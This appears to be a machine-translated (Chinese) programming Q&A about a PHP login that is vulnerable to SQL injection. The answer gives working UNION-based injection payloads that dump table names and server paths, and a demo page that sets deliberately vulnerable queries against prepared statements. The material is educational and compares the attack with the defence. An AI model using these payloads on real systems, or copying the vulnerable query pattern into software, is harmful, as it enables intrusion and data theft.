PHP SQL-Injection无法正常工作

时间:2017-12-29 15:24:05

标签: php html sql sql-injection

我的问题是我的SQL注入不起作用。我的正常登录和注册按预期工作,但这个重要部分不是。

<?php

$connection = mysqli_connect('localhost', 'root', '', 'DB') or die(mysqli_error());
mysqli_select_db($connection, 'DB') or die(mysqli_error());

@$Vorname = $_POST['vorname'];
@$Nachname = $_POST['nachname'];
@$Passwort = $_POST['passwort'];

@$Vorname2 = $_POST['vorname2'];
@$Nachname2 = $_POST['nachname2'];
@$Passwort2 = $_POST['passwort2'];

if ($Vorname != Null && $Passwort != Null && $Nachname != Null) {
    $sql1 = "INSERT INTO Persons VALUES('$Vorname', '$Passwort', '$Nachname')";
    $query1 = mysqli_query($connection, $sql1) or die(mysqli_error());
    $remove = array("page");
}

if ($Vorname2 != Null && $Passwort2 != Null && $Nachname2 != Null) {
    $sql2 = "SELECT * FROM Persons WHERE Vorname = '$Vorname2' AND Passwort = '$Passwort2' AND Nachname = '$Nachname2'";
    $query2 = mysqli_query($connection, $sql2) or die(mysqli_error());

    $row = mysqli_fetch_array($query2, MYSQLI_ASSOC);
    $active = $row;
    $count = mysqli_num_rows($query2);

    if ($count == 1) {
        echo "Login sucessful";
    } else {
        echo "Login failed";
    }
}
$remove = array("page");

?>

当我现在输入xxx'或1 = 1; - 或者在登录窗口中有类似的东西时,它只是显示登录失败它让我疯狂。

感谢您的时间,我希望我的问题很清楚,祝您有个美好的一天。

1 个答案:

答案 0 :(得分:2)

对POSTed数据使用一些hard-coded值进行测试并进行了一些小的调整,它被利用了(SELECT语句是 - 没有查看INSERT)

<?php

    $_POST['vorname']="geronimo";
    $_POST['nachname']='hiddensmeg';
    $_POST['passwort']='fluffykittens';

    /* the exploit */
    $_POST['vorname2']="geronimo' union all select 1,2,`table_name` from `information_schema`.`tables` where `table_type`='base table' and `table_schema`=database();#' --";

    $_POST['nachname2']='hiddensmeg2';
    $_POST['passwort2']='fluffykittens2';

    $connection = mysqli_connect('localhost', 'root', 'xxx', 'xxx');
    #mysqli_select_db( $connection, 'DB') or die(mysqli_error());

    @$Vorname = $_POST['vorname'];
    @$Nachname = $_POST['nachname'];
    @$Passwort = $_POST['passwort'];

    @$Vorname2 = $_POST['vorname2'];
    @$Nachname2 = $_POST['nachname2'];
    @$Passwort2 = $_POST['passwort2'];

    if ($Vorname != Null && $Passwort != Null && $Nachname != Null) {

        $sql1 = "INSERT INTO Persons VALUES('$Vorname', '$Passwort', '$Nachname')";
        #exit($sql1);
        $query1 = mysqli_query($connection, $sql1) or die(mysqli_error());
        $remove = array("page");
    }

    if ($Vorname2 != Null && $Passwort2 != Null && $Nachname2 != Null) {
        $sql2 = "SELECT * FROM Persons WHERE Vorname = '$Vorname2' AND Passwort = '$Passwort2' AND Nachname = '$Nachname2'";
        $result = mysqli_query( $connection, $sql2 );

        if ( $result->num_rows > 0 ) {
            while( $rs=mysqli_fetch_array($result, MYSQLI_ASSOC) ){
                #echo "OK";
                 echo $rs['Nachname'] . '<br />'; # show real data 
            }
        } else {
            echo "Login failed";
        }
    }
    $remove = array("page");
?>

编辑: 显示embedded variables(易受攻击)和prepared statements(不太脆弱)之间差异的基本示例

基本数据库概述

create table `persons` (
    `id` smallint(5) unsigned not null auto_increment,
    `vorname` varchar(50) null default null,
    `nachname` varchar(50) null default null,
    `passwort` varchar(50) null default null,
    primary key (`id`),
    unique index `vorname_passwort_nachname` (`vorname`, `passwort`, `nachname`)
)
collate='utf8_general_ci'
engine=innodb;

mysql> describe persons;
+----------+----------------------+------+-----+---------+----------------+
| Field    | Type                 | Null | Key | Default | Extra          |
+----------+----------------------+------+-----+---------+----------------+
| id       | smallint(5) unsigned | NO   | PRI | NULL    | auto_increment |
| vorname  | varchar(50)          | YES  | MUL | NULL    |                |
| nachname | varchar(50)          | YES  |     | NULL    |                |
| passwort | varchar(50)          | YES  |     | NULL    |                |
+----------+----------------------+------+-----+---------+----------------+

mysql> select * from persons;
+----+-----------+--------------+-----------------+
| id | vorname   | nachname     | passwort        |
+----+-----------+--------------+-----------------+
|  1 | RamRaider | Twizzlestick | bh57l_$3dmpwWtq |
+----+-----------+--------------+-----------------+

测试页

<?php

    $ex_response = $non_ex_response = array();

    /*
        To see how even basic filtering can affect the outcome, use ?filter=1 as querystring
    */
    $filter = isset( $_GET['filter'] ) && $_GET['filter']==1 ? true : false;



    if( $_SERVER['REQUEST_METHOD']=='POST' ){
        $dbhost =   'localhost';
        $dbuser =   'root'; 
        $dbpwd  =   'xxx'; 
        $dbname =   'xxx';
        $db =   new mysqli( $dbhost, $dbuser, $dbpwd, $dbname );

        /* action determines which portion of code to run */
        $action=$_POST['action'];

        /* username - either raw data or filtered data */
        $username=$filter ? filter_input( INPUT_POST, 'username', FILTER_SANITIZE_STRING ) : $_POST['username'];

        switch( $action ){
            case 'exploitable':
                /* embedded, vulnerable variables */

                $sql="select `vorname`, `nachname`, `passwort` from `persons` where `vorname`='$username';";
                $result=$db->query( $sql );

                if( $result && $result->num_rows > 0 ){
                    while( $rs=$result->fetch_object() ){
                        $ex_response[]=array(
                            'first' =>  $rs->vorname,
                            'last'  =>  $rs->nachname,
                            'pwd'   =>  $rs->passwort
                        );
                    }
                }
                $db->close();
            break;
            case 'nonexploitable':
                /* use prepared statements */

                $sql="select `vorname`, `nachname`, `passwort` from `persons` where `vorname`=?;";
                $stmt=$db->prepare( $sql );

                if( $stmt ){
                    $stmt->bind_param( 's', $username );
                    $res=$stmt->execute();

                    if( $res ){
                        $stmt->store_result();
                        $stmt->bind_result( $user, $uid, $pwd );
                        while( $stmt->fetch() ){
                            $non_ex_response[]=array(
                                'first' =>  $user,
                                'last'  =>  $uid,
                                'pwd'   =>  $pwd
                            );
                        }
                        $stmt->free_result();
                        $stmt->close();
                    }
                } else {
                    $non_ex_response='error';
                }
                $db->close();
            break;
        }

    }
?>
<!doctype html>
<html>
    <head>
        <meta charset='utf-8' />
        <title>Exploit mysqli with deliberately vulnerable code versus prepared statements</title>
        <style>
            html,html *{font-family:calibri,verdana,arial;}
            #container{display:flex;}

            div.query{color:green;width:100%;margin:0 auto!important;text-align:center;font-size:0.8rem;}
            div.query:before{ content:'Exploit Query'; color:black!important; margin:0 1rem 0 0; }
            h1{
                font-size:1.25rem;
                text-align:center;
            }
            form{
                width:calc( 50% - 2rem );
                border:1px solid black;
                box-sizing:border-box;
                padding:1rem;
                display:inline-block;
                float:none;
                margin:0 auto;
                height:90vh;
                top:0;
                position:relative;
            }
            form input[type='text']{
                width:80%;
            }
            form input[type='text'],
            form input[type='submit']{
                padding:1rem;
            }

        </style>
    </head>
    <body>
        <div class='query'>RamRaider</div>
        <div class='query'>RamRaider' union all select 1,2,`table_name` from `information_schema`.`tables` where `table_type`='base table' and `table_schema`=database();#' --</div>
        <div class='query'>RamRaider' union all select @@innodb_data_home_dir,@@basedir,`table_name` from `information_schema`.`tables` where `table_type`='base table' and `table_schema`=database();#' --</div>
        <div id='container'>
            <form id='exploitable' method='post'>
                <h1>Exploitable</h1>
                <input type='text' name='username' />
                <input type='hidden' name='action' value='exploitable' />
                <input type='submit' />
                <?php
                    if( !empty( $ex_response ) ) echo '<pre>',print_r( $ex_response,true ),'</pre>';
                ?>
            </form>

            <form id='nonexploitable' method='post'>
                <h1>Non-Exploitable</h1>
                <input type='text' name='username' />
                <input type='hidden' name='action' value='nonexploitable' />
                <input type='submit' />
                <?php
                    if( !empty( $non_ex_response ) ) echo '<pre>',print_r( $non_ex_response,true ),'</pre>';
                ?>
            </form>
        </div>
        <script>
            /* simple code to add whichever sql query is clicked directly to the text input fields */
            var inputs=document.querySelectorAll('input[type="text"]');
            var col=Array.prototype.slice.call( document.querySelectorAll('div.query') );
                col.forEach(function(div){
                    div.onclick=function(event){
                        inputs.forEach( function( text ){
                            text.value=this.innerHTML;
                        }.bind( div ) );
                    };
                });
        </script>
    </body>
</html>